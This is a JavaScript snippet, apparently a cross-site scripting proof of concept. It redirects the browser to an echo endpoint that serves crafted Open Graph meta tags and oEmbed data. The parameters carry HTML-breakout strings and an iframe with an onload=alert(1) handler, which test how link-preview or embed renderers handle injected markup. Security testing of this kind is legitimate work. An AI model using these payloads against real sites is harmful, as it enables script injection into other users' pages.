generateURL = request => {
	const setParams = (data = {}, searchParams) => {
		Object.entries(data).forEach(([key, value]) => (typeof value === 'string' ? [value] : value).forEach(item => searchParams.append(key, item)))
		return searchParams
	}
	request.url = new URL(/https?:/.test(request.url) ? request.url : location.origin + request.url)
	setParams(request.searchParams, request.url.searchParams)
	if (request.body && typeof request.body === 'object') {
		if (request.body.json) {
			request.body = JSON.stringify(request.body.json)
		} else if (request.body.formData) {
			request.body = setParams(request.body.formData, new URLSearchParams())
		}
	}

return request.url
}

location = generateURL({
	"method": "GET",
	"url": "https://x-echo.appspot.com/meta",
	"searchParams": {
		"og:title": `'"><x`,
		"og:description": `'"><x`,
		"og:type": [
			"text/html"
		],
		"og:video:url": "https://www.youtube.com/embed/wdskiSpY7Q4",
		"oembed": JSON.stringify({
			html: '"<iframe onload="alert(1)" width="480" height="270" src="xhttps://www.youtube.com/embed/fHrfmqkVssk?feature=oembed" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>"'
		})
	},
	"body": null
})